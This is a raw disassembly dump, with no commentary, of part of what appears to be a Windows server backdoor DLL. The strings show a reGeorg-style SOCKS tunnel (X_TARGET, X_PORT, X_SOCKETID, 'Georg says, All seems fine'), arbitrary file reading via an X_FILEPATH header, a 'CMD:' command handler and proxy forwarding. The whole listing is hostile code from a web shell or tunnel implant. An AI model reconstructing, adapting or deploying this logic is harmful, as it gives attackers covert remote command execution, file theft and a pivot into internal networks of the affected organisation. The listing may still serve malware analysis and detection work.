lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x140]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0xa0]
jmp 0x180003072
lea rcx, [rdi + 0x10]
call fcn.1800063b0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rdx, str.Clear_Cache_Success_
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
lea rdx, str.plain
lea rcx, [rsp + 0x80]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x140]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0xa0]
jmp 0x180003072
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
lea rdx, str.plain
lea rcx, [rsp + 0xa0]
call fcn.180006c50
mov rbx, rax
lea rdx, [rdi + 0x30]
lea rcx, [rsp + 0x80]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
lea rdx, str.Get_JS_OK_
jmp 0x18000307e
mov rdi, qword [rsp + 0x58]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.0x180002ff4.106
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180006c50
nop
cmp qword [rsp + 0x90], 0
jne 0x180003276
lea rdx, str.Filepath_can_not_be_empty_
lea rcx, [rsp + 0x1c0]
call fcn.180006c50
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
jmp 0x1800030a5
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.180012c40
nop
lea rcx, [rsp + 0xa0]
call fcn.180006620
mov rcx, rax
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800033fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0xc0]
call fcn.180001310
mov rdi, rax
or edx, ebx
lea rcx, [rsp + 0x160]
call fcn.1800012f0
mov rbx, rax
lea r8, [rsp + 0x80]
lea rdx, str.Read_file
lea rcx, [rsp + 0x1e0]
call fcn.18000a080
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.18000a3f0
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.18000a380
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.18000a3f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x180]
call fcn.180006b00
nop
lea rcx, [rsp + 0x120]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006660
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
jmp 0x1800030a5
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov ecx, eax
call fcn.18001a94c
mov rdi, rax
mov rcx, rbx
test rax, rax
jne 0x180003444
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.malloc_memory_error_
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
jmp 0x1800033d2
mov dword [rsp + 0x68], r14d
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x68]
mov r8d, esi
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18000357a
lea edx, [rax + 1]
mov rcx, rdi
call fcn.180015580
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x120]
call fcn.180001310
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0x180]
call fcn.1800012f0
mov rbx, rax
lea r8, [rsp + 0x80]
lea rdx, str.Read_file
lea rcx, [rsp + 0xe0]
call fcn.18000a080
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.18000a3f0
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000a380
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000a3f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1c0]
call fcn.180006b00
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x180]
call fcn.180006b00
nop
lea rcx, [rsp + 0x120]
jmp 0x1800033cd
mov rdx, rdi
lea rcx, [rsp + 0x140]
call fcn.180006c50
nop
mov edx, 1
mov rcx, rdi
call fcn.180015580
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x160]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
mov edx, dword [rsp + 0x68]
lea rcx, [rsp + 0x1e0]
call fcn.180001310
nop
mov r8, rax
lea rdx, str.Read_length:
lea rcx, [rsp + 0xc0]
call fcn.18000a1f0
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x140]
call fcn.180006b00
jmp 0x1800033dc
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
lea rdx, str.Georg_says__All_seems_fine
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
lea rdx, str.plain
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x160]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0xa0]
call fcn.180006b00
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0x1e0]
jmp 0x180003086
mov rdi, qword [rsp + 0x58]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TARGET
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_PORT
mov rcx, rdi
call qword [r9 + 0x18]
mov r14, rax
test rbx, rbx
je case.0x180002ff4.106
test rax, rax
je case.0x180002ff4.106
mov edx, 1
mov esi, 2
lea r8d, [rdx + 5]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rsp + 0x58], rax
cmp rax, 0xffffffffffffffff
jne 0x180003778
lea rdx, str.INVALID_SOCKET
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
mov dword [rsp + 0x68], 1
lea r8, [rsp + 0x68]
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x1800037a9
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Set_non_block_mode_error
jmp 0x180003740
mov rdx, rbx
lea rcx, [rsp + 0x80]
call fcn.180006c50
nop
mov word [rsp + 0x120], si
mov rdx, r14
lea rcx, [rsp + 0x140]
call fcn.180006c50
nop
lea rcx, [rsp + 0x140]
call fcn.180001270
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x122], ax
lea rcx, [rsp + 0x140]
call fcn.180006b00
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x124], eax
cmp eax, 0xffffffff
jne 0x180003940
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x1800038a5
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x160]
call fcn.1800012f0
nop
mov r8, rax
lea rdx, str.Parse_IP_failed_:
lea rcx, [rsp + 0xc0]
call fcn.18000a1f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
cmp word [rdx + 0x10], 2
jne 0x1800038ea
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea r8, [rsp + 0x124]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180006ab0
jmp 0x180003940
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Unknown_address_type
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x120]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1800039f3
lea ecx, [rax + 0x65]
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea ecx, [rax - 0x2733]
cmp ecx, 1
jbe 0x1800039f3
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, ebx
lea rcx, [rsp + 0x160]
call fcn.1800012f0
nop
mov r8, rax
lea rdx, str.Socks_connect_error:
lea rcx, [rsp + 0xc0]
call fcn.18000a1f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0xe0]
call fcn.1800012f0
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x1c0]
call fcn.18000a250
nop
mov r8, r14
mov rdx, rax
lea rcx, [rsp + 0x140]
call fcn.18000a380
nop
lea r8, str.__ErrNo:
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000a3f0
nop
lea r8, [0x18004678c]
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000a380
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x140]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1c0]
call fcn.180006b00
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
mov rdx, rdi
lea rcx, [rsp + 0xa0]
call fcn.180001330
nop
mov rbx, qword [r12]
lea rcx, [rsp + 0xa0]
call fcn.180006810
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xb0]
lea rdx, str.X_SOCKETID
mov rcx, r12
call qword [rbx + 0x28]
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
jmp 0x180003764
mov rdi, qword [rsp + 0x58]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x58], rax
test rax, rax
je case.0x180002ff4.106
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
lea rcx, [rsp + 0xa0]
call fcn.180001270
movsxd rbx, eax
lea rcx, [rsp + 0xa0]
call fcn.180006b00
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
mov rdi, qword [rsp + 0x58]
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov r15, rax
mov qword [rsp + 0x58], rax
test rax, rax
je case.0x180002ff4.106
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
lea rcx, [rsp + 0xa0]
call fcn.180001270
movsxd rsi, eax
lea rcx, [rsp + 0xa0]
call fcn.180006b00
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x200]
call fcn.180018710
lea rcx, [rsp + 0x80]
call fcn.180006c90
nop
xor r13d, r13d
mov ebx, r13d
mov r14d, r13d
nop word [rax + rax]
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rsp + 0x200]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rdi, eax
cmp edi, 0xffffffff
jne 0x180003da2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180003d90
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x140]
call fcn.1800012f0
mov rbx, rax
mov rdx, r15
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
mov r8, rax
lea rdx, str.Read_socket_fd__
lea rcx, [rsp + 0x1e0]
call fcn.18000a1f0
nop
lea r8, str.__error:
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000a3f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x140]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
inc ebx
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000401b
test eax, eax
jle 0x180003dd5
mov ebx, r13d
mov r8, rdi
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x80]
call fcn.180006960
inc r14d
cmp edi, 0x1000
jl 0x180003ec8
jmp 0x180003c70
jne 0x18000401b
cmp qword [rsp + 0x90], r13
ja 0x180003ebc
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x140]
call fcn.180006c50
nop
mov rbx, qword [r12]
lea rcx, [rsp + 0x140]
call fcn.180006810
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x150]
lea rdx, str.X_STATUS
mov rcx, r12
call qword [rbx + 0x28]
lea rdx, str.DONE
lea rcx, [rsp + 0x140]
call fcn.180006ab0
mov rbx, qword [r12]
lea rcx, [rsp + 0x140]
call fcn.180006810
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x150]
lea rdx, str.X_ERROR
mov rcx, r12
call qword [rbx + 0x28]
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x140]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
cmp ebx, 0x5dc
jge 0x180004027
mov edx, ebx
lea rcx, [rsp + 0x140]
call fcn.1800012f0
mov rbx, rax
mov edx, r14d
lea rcx, [rsp + 0x1e0]
call fcn.1800012f0
nop
lea r8, [0x180046830]
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000a3f0
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x140]
call fcn.180006b00
mov rdx, r15
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
mov rbx, qword [r12]
lea rcx, [rsp + 0xa0]
call fcn.180006810
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0xb0]
lea rdx, str.X_SOCKETID
mov rcx, r12
call qword [rbx + 0x28]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rdx, str.stream
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x160]
call fcn.180006cb0
nop
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
cmp ebx, 0x5dc
jl 0x180003c70
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x140]
call fcn.180006c50
nop
mov rbx, qword [r12]
lea rcx, [rsp + 0x140]
call fcn.180006810
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x150]
lea rdx, str.X_STATUS
mov rcx, r12
call qword [rbx + 0x28]
lea rdx, str.Timeout
lea rcx, [rsp + 0x140]
call fcn.180006ab0
mov rbx, qword [r12]
lea rcx, [rsp + 0x140]
call fcn.180006810
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x150]
lea rdx, str.X_ERROR
mov rcx, r12
call qword [rbx + 0x28]
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x140]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, 2
jmp 0x1800051fb
test esi, esi
je case.0x180002ff4.106
test rbx, rbx
je 0x18000413b
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.180006c50
mov esi, 2
mov r14d, esi
lea rdx, [rsp + 0xa0]
call fcn.1800062e0
test rax, rax
je 0x180004140
test r15d, r15d
je 0x180004140
xor r15b, r15b
jmp 0x180004143
mov esi, 2
mov r15b, 1
test r14b, 2
je 0x18000415a
and r14d, 0xfffffffd
lea rcx, [rsp + 0xa0]
call fcn.180006b00
test r15b, r15b
jne case.0x180002ff4.106
mov r13, qword [rsp + 0x58]
mov rdx, r13
lea rcx, [rsp + 0xe0]
call fcn.18000fe30
nop
lea rdx, [rsp + 0x100]
call fcn.180006390
mov r15, rax
mov rdx, rbx
lea rcx, [rsp + 0x140]
call fcn.180006c50
nop
lea rdx, [rsp + 0x140]
call fcn.180006310
mov ebx, dword [rax]
lea rcx, [rsp + 0x140]
call fcn.180006b00
add ebx, 0xffffff9c
cmp ebx, 0x10
ja case.0x1800041d6.102
movsxd rax, ebx
lea rcx, [0x180000000]
mov eax, dword [rcx + rax*4 + 0x5268]
add rax, rcx
jmp rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.180010130
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
lea rcx, [rsp + 0xa0]
call fcn.180006c90
nop
lea rdx, [0x180046834]
lea rcx, [rsp + 0x80]
call fcn.180006c50
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x120]
call fcn.180006160
lea rcx, [rsp + 0x80]
call fcn.180006b00
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x120]
je 0x180004275
add rdx, 0x40
lea rcx, [rsp + 0xa0]
call fcn.180006ad0
lea rdx, str.timeout
lea rcx, [rsp + 0x80]
call fcn.180006c50
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.180006160
mov rbx, qword [rax]
lea rcx, [rsp + 0x80]
call fcn.180006b00
cmp rbx, qword [rsp + 0x120]
je 0x1800042df
lea rcx, [rbx + 0x40]
call fcn.180001270
mov edi, eax
jmp 0x1800042df
mov r14, qword [rsp + 0x48]
cmp qword [rsp + 0xb0], 0
je 0x1800043da
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rdx, str.plain
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x80]
call fcn.180012c40
nop
imul r8d, edi, 0x3e8
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.180013400
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x80]
call fcn.180006660
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0x1a0]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x120]
call fcn.1800052b0
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
jmp 0x180003764
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
jmp 0x1800051d0
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.180010130
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
lea rcx, [rsp + 0xa0]
call fcn.180006c90
nop
lea rdx, [0x180046834]
lea rcx, [rsp + 0x80]
call fcn.180006c50
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x120]
call fcn.180006160
lea rcx, [rsp + 0x80]
call fcn.180006b00
mov rdx, qword [rsp + 0x58]
cmp rdx, qword [rsp + 0x120]
je 0x18000448a
add rdx, 0x40
lea rcx, [rsp + 0xa0]
call fcn.180006ad0
lea rdx, str.timeout
lea rcx, [rsp + 0x80]
call fcn.180006c50
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.180006160
mov rbx, qword [rax]
lea rcx, [rsp + 0x80]
call fcn.180006b00
cmp rbx, qword [rsp + 0x120]
je 0x1800044f4
lea rcx, [rbx + 0x40]
call fcn.180001270
mov edi, eax
jmp 0x1800044f4
mov r14, qword [rsp + 0x48]
cmp qword [rsp + 0xb0], 0
je 0x18000460c
lea rcx, [rsp + 0x80]
call fcn.180006c90
nop
lea r8, [rsp + 0xa0]
lea rdx, str.CMD:
lea rcx, [rsp + 0x160]
call fcn.18000a080
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180012a60
nop
imul r8d, edi, 0x3e8
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.180013080
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x50], rax
lea rdx, str.plain
lea rcx, [rsp + 0x1e0]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xc0]
call fcn.180006cb0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0x1a0]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
jmp 0x1800043ba
lea rcx, [rsp + 0xa0]
call fcn.180006b00
nop
jmp 0x1800051d0
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.180010130
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
lea rcx, [rsp + 0x80]
call fcn.180006720
nop
lea rcx, [rsp + 0xa0]
call fcn.180006720
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x1a0]
call fcn.180006c50
lea r8, [rsp + 0x1a0]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x120]
call fcn.180006160
lea rcx, [rsp + 0x1a0]
call fcn.180006b00
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x120]
je 0x1800046e7
add rdx, 0x40
lea rcx, [rsp + 0xc0]
call fcn.180012c40
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.1800066b0
lea rcx, [rsp + 0xc0]
call fcn.180006660
lea rdx, str.proxyUrl
lea rcx, [rsp + 0x1a0]
call fcn.180006c50
lea r8, [rsp + 0x1a0]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x120]
call fcn.180006160
mov rbx, qword [rax]
lea rcx, [rsp + 0x1a0]
call fcn.180006b00
cmp rbx, qword [rsp + 0x120]
je 0x18000475d
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0xc0]
call fcn.180012c40
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1800066b0
lea rcx, [rsp + 0xc0]
call fcn.180006660
cmp qword [rsp + 0x90], 0
je 0x18000484f
cmp qword [rsp + 0xb0], 0
je 0x18000484f
lea rdx, [rsp + 0x80]
mov rcx, r15
call fcn.1800064e0
mov rcx, rax
lea rdx, [rsp + 0xa0]
call fcn.180006630
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rdx, str.plain
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov rbx, rax
mov rdx, r15
lea rcx, [rsp + 0x1e0]
call fcn.180012e50
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0x1a0]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006660
nop
lea rcx, [rsp + 0x80]
call fcn.180006660
nop
jmp 0x1800043ba
lea rcx, [rsp + 0xa0]
call fcn.180006660
nop
lea rcx, [rsp + 0x80]
call fcn.180006660
nop
jmp 0x1800051d0
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.180010130
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
lea rcx, [rsp + 0xa0]
call fcn.180006720
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x80]
call fcn.180006c50
lea r8, [rsp + 0x80]
